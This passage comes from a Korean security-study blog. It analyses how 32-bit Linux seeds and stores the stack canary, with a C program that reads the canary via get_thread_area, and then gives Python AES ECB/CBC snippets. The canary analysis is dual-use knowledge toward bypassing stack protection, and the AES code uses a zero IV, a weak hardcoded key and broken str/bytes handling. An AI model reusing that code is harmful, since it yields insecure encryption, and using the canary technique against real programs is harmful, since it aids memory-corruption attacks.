  elf_info = (elf_addr_t *)current->mm->saved_auxv;
  /* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */
#define NEW_AUX_ENT(id, val) \
  do { \
    elf_info[ei_index++] = id; \
    elf_info[ei_index++] = val; \
  } while (0)

#ifdef ARCH_DLINFO
  /* 
   * ARCH_DLINFO must come first so PPC can do its special alignment of
   * AUXV.
   * update AT_VECTOR_SIZE_ARCH if the number of NEW_AUX_ENT() in
   * ARCH_DLINFO changes
   */
  ARCH_DLINFO;
#endif
  NEW_AUX_ENT(AT_HWCAP, ELF_HWCAP);
  NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);
  NEW_AUX_ENT(AT_CLKTCK, CLOCKS_PER_SEC);
  NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);
  NEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr));
  NEW_AUX_ENT(AT_PHNUM, exec->e_phnum);
  NEW_AUX_ENT(AT_BASE, interp_load_addr);
  NEW_AUX_ENT(AT_FLAGS, 0);
  NEW_AUX_ENT(AT_ENTRY, exec->e_entry);
  NEW_AUX_ENT(AT_UID, from_kuid_munged(cred->user_ns, cred->uid));
  NEW_AUX_ENT(AT_EUID, from_kuid_munged(cred->user_ns, cred->euid));
  NEW_AUX_ENT(AT_GID, from_kgid_munged(cred->user_ns, cred->gid));
  NEW_AUX_ENT(AT_EGID, from_kgid_munged(cred->user_ns, cred->egid));
  NEW_AUX_ENT(AT_SECURE, bprm->secureexec);
  NEW_AUX_ENT(AT_RANDOM, (elf_addr_t)(unsigned long)u_rand_bytes);
...

주석이 설명해주는 것처럼 커널에서 생성된 16 byte random bytes들을 생성 후, 유저영역으로 값을 복사하고 vector에 추가하는 것을 볼 수 있다.


하지만 전부 canary로 사용하는 것이 아닌 하위 4byte만 canary값으로 사용하는 것을 볼 수 있다.



위의 과정들을 종합해보면 결과적으로는 아래와 같이 동작하게 된다.

1. Program Loader에 의해서 kernel에서 생성된 u_rand_bytes를 user 영역에 복사 후, auxv에 설정해준다.

2. ld.so에서 AT_* 관련된 값들을 읽어들이면서 해당하는 값들을 셋팅한다.

3. 1번에서 설정된 u_rand_bytes(16 bytes)의 하위 4byte를 canary로 사용(32bit 기준)하는데 하위 1byte를 NULL로 만든 것을 사용한다.

  -> gs:0x14 (stack_guard)에 값을 설정



커널에서 랜덤값을 읽는 것과 ld.so에서 AT_* 관련 값들을 설정해주는 것을 제외하고 위의 과정이 맞는지 알아보기 위해 아래와 같은 코드를 작성했다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/unistd.h>
#include <asm/ldt.h>
#include <pthread.h>

#define GET_THREAD_AREA 244

void *test(){
        struct user_desc uinfo;
        pthread_t th;
        int status;

        uinfo.entry_number = 12;
        syscall(244, &uinfo);

        printf("baseaddr : %p\n", uinfo.base_addr);
        printf("Canary : %p\n", *(unsigned int *)(uinfo.base_addr + 0x14));

        while(1);

        return NULL;
}

int main(){
        struct user_desc uinfo;
        pthread_t th;
        int status;

        uinfo.entry_number = 12;
        syscall(244, &uinfo);

        printf("baseaddr : %p\n", uinfo.base_addr);
        printf("Canary : %p\n", *(unsigned int *)(uinfo.base_addr + 0x14));

        if(pthread_create(&th, NULL, test, NULL) < 0){
                puts("wtf...");
                return -1;
        }

        pthread_join(th, (void **)&status);

        return 0;
}
위의 소스코드를 간단하게 요약하자면, 프로그램은 시작되면 ld.so에서 set_thread_area syscall을 통해, 현재 thread의 속성(?)을 설정해주게 된다. 설정되었던 속성들을 얻어오기 위해서 get_thread_area syscall을 사용해야하는데 이 때, entry_number를 통해서 여러 정보들 중 하나(현재 스레드)를 골라 얻어오게 되는 원리다.
여기서 얻어온 user_desc구조체의 base_addr 변수의 값은 TCB(Thread Control Block)의 주소이며, gs 레지스터가 가지고 있는 주소와 동일하다. 즉, base_addr + 0x14는 gs:0x14와 동일한 결과를 가져온다는 것을 알 수 있으므로, 그 값을 읽어보기 위해 실행하면 아래와 같은 결과가 나온다.

[그림 3] get_thread_area를 통한 카나리 얻기


심심하니 재미로 canary가 있는 주소를 알아보도록 하자.

[그림 4] canary 값 검색


일단 위와 같이 0xf7de3714 주소에 카나리가 들어있는 것을 볼 수 있다. 그럼 이제 base_addr를 출력해주는 곳으로 이동해서 값과 어디에 위치하고 있는지 확인해보자.

[그림 5] base_addr (eax) 확인


보다시피 ubuntu 16.04 기준 ld-2.23.so에서는 libc 바로 이전 영역에 base_addr이 가리키고 있는 것을 볼 수 있다. 그리고 현재 eax 레지스터가 가지고 있는 값은 TCB(Thread Control Block)이므로 eax + 0x14를 하게 되면 위의 그림에서 봤던 카나리 값이 나오게 될 것이다.


[그림 6] canary값 확인



3. 결론


일단 32bit에서 어떻게 Canary가 작성되는지 코드 분석을 통해서 어떻게 카나리가 로드되는지 확인해봤는데,


언젠가 또 심심하면 커널에서 random value를 어떻게 생성하는 지 분석할 것 같다. 그래서 언제 다음 글이 올라올지 모르겠다.


* 틀린게 있다면 댓글로 알려주세요

'공부' 카테고리의 다른 글

xss payload  (0) 2019.04.19
[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
python AES  (0) 2018.08.10
[IDA] C++ Class 변환  (0) 2017.08.09
[QEMU] iptime emulating  (2) 2017.07.26
블로그 이미지

KuroNeko_

KuroNeko

,

python AES

공부 2018. 8. 10. 00:54
반응형

웹이나 프로그램 분석을 하는데 AES 암/복호화를 사용하는 경우가 자주 있다.

 

주로, 로그인할 때나 파일 암/복호화를 할 때 사용된다. 이외에도 많긴한데, 그거는 프로그래머 마음이니

 

python으로 간단하게 짤 수 있는데 그냥 외우기 귀찮아서 글을 올린다.

 

[PyCrypto 설치]

# python2.7
pip install PyCrypto

# python3
pip3 install pycryptodome

 

python에서 AES ECB/CBC 암/복호화할 때 밑에꺼만 살짝 수정하면 된다.

 

[ECB Mode]

from Crypto.Cipher import AES

# aes-256-ecb
BLOCK_SIZE = 32
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * bytes([BLOCK_SIZE - len(s) % BLOCK_SIZE])
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

key = "keyz".ljust(BLOCK_SIZE, "\x00")

aes = AES.new(key, AES.MODE_ECB)
enc = aes.encrypt(pad("KuroNeko"))
print(unpad(aes.decrypt(enc)))

 

[CBC Mode]

from Crypto.Cipher import AES

# aes-128-cbc
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * bytes([BLOCK_SIZE - len(s) % BLOCK_SIZE])
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

key = "keyz".ljust(BLOCK_SIZE, "\x00")
iv = "".ljust(BLOCK_SIZE, "\x00")

aes = AES.new(key, AES.MODE_CBC, IV=iv)
enc = aes.encrypt(pad("KuroNeko"))
print(unpad(aes.decrypt(iv + enc)[16:]))

 

'공부' 카테고리의 다른 글

[Windows Kernel Driver] 개발환경 구성  (0) 2018.11.25
유저 영역 Stack Canary 분석  (2) 2018.08.16
[IDA] C++ Class 변환  (0) 2017.08.09
[QEMU] iptime emulating  (2) 2017.07.26
[how2heap] poison_null_byte  (0) 2017.05.09
블로그 이미지

KuroNeko_

KuroNeko

,